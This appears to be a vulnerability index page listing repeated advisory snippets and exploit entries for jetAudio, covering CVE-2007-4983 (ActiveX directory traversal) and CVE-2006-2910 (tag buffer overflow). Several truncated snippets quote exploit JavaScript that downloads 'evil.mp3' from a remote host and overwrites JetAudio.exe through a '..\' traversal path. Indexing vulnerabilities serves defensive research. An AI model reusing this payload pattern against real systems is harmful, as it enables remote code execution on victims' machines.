jetaudio-exec.txt

Tested on:.. - jetAudio 7.0.3 Basic - Microsoft Internet Explorer 6 Just for fun ; -- var target = "DownloadFromMusicStore"; //rename evil.exe evil.mp3 var url = "http://192.168.0.1/evil.mp3"; var dst = "..\..\..\..\..\..\..\..\Program Files\JetAudio\JetAudio.exe"; var title = "0day"; var...

DSquare Exploit Pack: D2SEC_JETFLEXT

Name| d2secjetflext ---|--- CVE| CVE-2007-4983 Exploit Pack| D2ExploitPack Description| COWON America jetAudio JetFlExt.dll ActiveX Arbitrary Code Execution Vulnerability Notes|...

Directory traversal

Directory traversal vulnerability in the JetAudio.Interface.1 ActiveX control in JetFlExt.dll in jetAudio 7.0.3 Basic and 7.0.3.3016 allows remote attackers to create or overwrite arbitrary local files via a ..\ dot dot backslash in the second argument to the DownloadFromMusicStore method. NOTE:...

CVE-2007-4983

Directory traversal vulnerability in the JetAudio.Interface.1 ActiveX control in JetFlExt.dll in jetAudio 7.0.3 Basic and 7.0.3.3016 allows remote attackers to create or overwrite arbitrary local files via a ..\ dot dot backslash in the second argument to the DownloadFromMusicStore method. NOTE:...

CVE-2007-4983

Directory traversal vulnerability in the JetAudio.Interface.1 ActiveX control in JetFlExt.dll in jetAudio 7.0.3 Basic and 7.0.3.3016 allows remote attackers to create or overwrite arbitrary local files via a ..\ dot dot backslash in the second argument to the DownloadFromMusicStore method. NOTE:...

CVE-2007-4983

CVE-2007-4983 describes a directory-traversal in the JetAudio.Interface.1 ActiveX control (JetFlExt.dll) used by JetAudio 7.0.3 Basic and 7.0.3.3016. By sending a .\ to the second argument of the DownloadFromMusicStore method, an attacker can create or overwrite arbitrary local files. The note in...

jetAudio 7.x - ActiveX DownloadFromMusicStore() Code Execution

jetAudio 7.x - ActiveX DownloadFromMusicStore Code Execution Tested on:.. - jetAudio 7.0.3 Basic - Microsoft Internet Explorer 6 Just for fun ; -- var target = "DownloadFromMusicStore"; //rename evil.exe evil.mp3 var url = "http://192.168.0.1/evil.mp3"; var dst =...

CVE-2007-4983: Improper Limitation of a Pathname to a Restricted Directory

Directory traversal vulnerability in the JetAudio.Interface.1 ActiveX control in JetFlExt.dll in jetAudio 7.0.3 Basic and 7.0.3.3016 allows remote attackers to create or overwrite arbitrary local files via a ..\ dot dot backslash in the second argument to the DownloadFromMusicStore method. NOTE:...

jetAudio 7.x - ActiveX 'DownloadFromMusicStore()' Code Execution

Tested on:.. - jetAudio 7.0.3 Basic - Microsoft Internet Explorer 6 Just for fun ; -- var target = "DownloadFromMusicStore"; //rename evil.exe evil.mp3 var url = "http://192.168.0.1/evil.mp3"; var dst = "..\..\..\..\..\..\..\..\Program Files\JetAudio\JetAudio.exe"; var title = "0day"; var...

jetAudio 7.x ActiveX DownloadFromMusicStore() Code Execution Exploit

No description provided by source. HTML !-- jetAudio 7.x ActiveX DownloadFromMusicStore 0day Remote Code Execution Exploit Bug discovered by Krystian Kloskowski h07 [email protected] Tested on:.. - jetAudio 7.0.3 Basic - Microsoft Internet Explorer 6 Just for fun ; -- object id="obj"...

jetAudio 7.x ActiveX DownloadFromMusicStore() Code Execution Exploit

Exploit for unknown platform in category remote exploits ==================================================================== jetAudio 7.x ActiveX DownloadFromMusicStore Code Execution Exploit ==================================================================== Tested on:.. - jetAudio 7.0.3 Basic...

Buffer overflow

Buffer overflow in jetAudio 6.2.6.8330 Basic, and possibly other versions, allows user-assisted attackers to execute arbitrary code via an audio file such as WMA with long ID Tag values including 1 Title, 2 Author, and 3 Album, which triggers the overflow in the tooltip display string if the soun...

CVE-2006-2910

Buffer overflow in jetAudio 6.2.6.8330 Basic, and possibly other versions, allows user-assisted attackers to execute arbitrary code via an audio file such as WMA with long ID Tag values including 1 Title, 2 Author, and 3 Album, which triggers the overflow in the tooltip display string if the soun...

CVE-2006-2910

CVE-2006-2910 describes a buffer overflow in jetAudio 6.2.6.8330 (Basic) and possibly other versions. The vulnerability is triggered when an audio file (e.g., WMA) contains long ID3 tag values for Title, Author, or Album, causing an overflow in the tooltip display string if the sound card driver ...

CVE-2006-2910

Buffer overflow in jetAudio 6.2.6.8330 Basic, and possibly other versions, allows user-assisted attackers to execute arbitrary code via an audio file such as WMA with long ID Tag values including 1 Title, 2 Author, and 3 Album, which triggers the overflow in the tooltip display string if the soun...

CVE-2006-2910: Undefined Security Weakness

Buffer overflow in jetAudio 6.2.6.8330 Basic, and possibly other versions, allows user-assisted attackers to execute arbitrary code via an audio file such as WMA with long ID Tag values including 1 Title, 2 Author, and 3 Album, which triggers the overflow in the tooltip display string if the soun...

JetAudio buffer overflow

Buffer overflow on oversized media file tag...

[SA19456] jetAudio ID Tag "tooltip" Buffer Overflow Vulnerability

---------------------------------------------------------------------- Reverse Engineer Wanted Secunia offers a Security Specialist position with emphasis on reverse engineering of software and exploit code, auditing of source code, and analysis of vulnerability reports...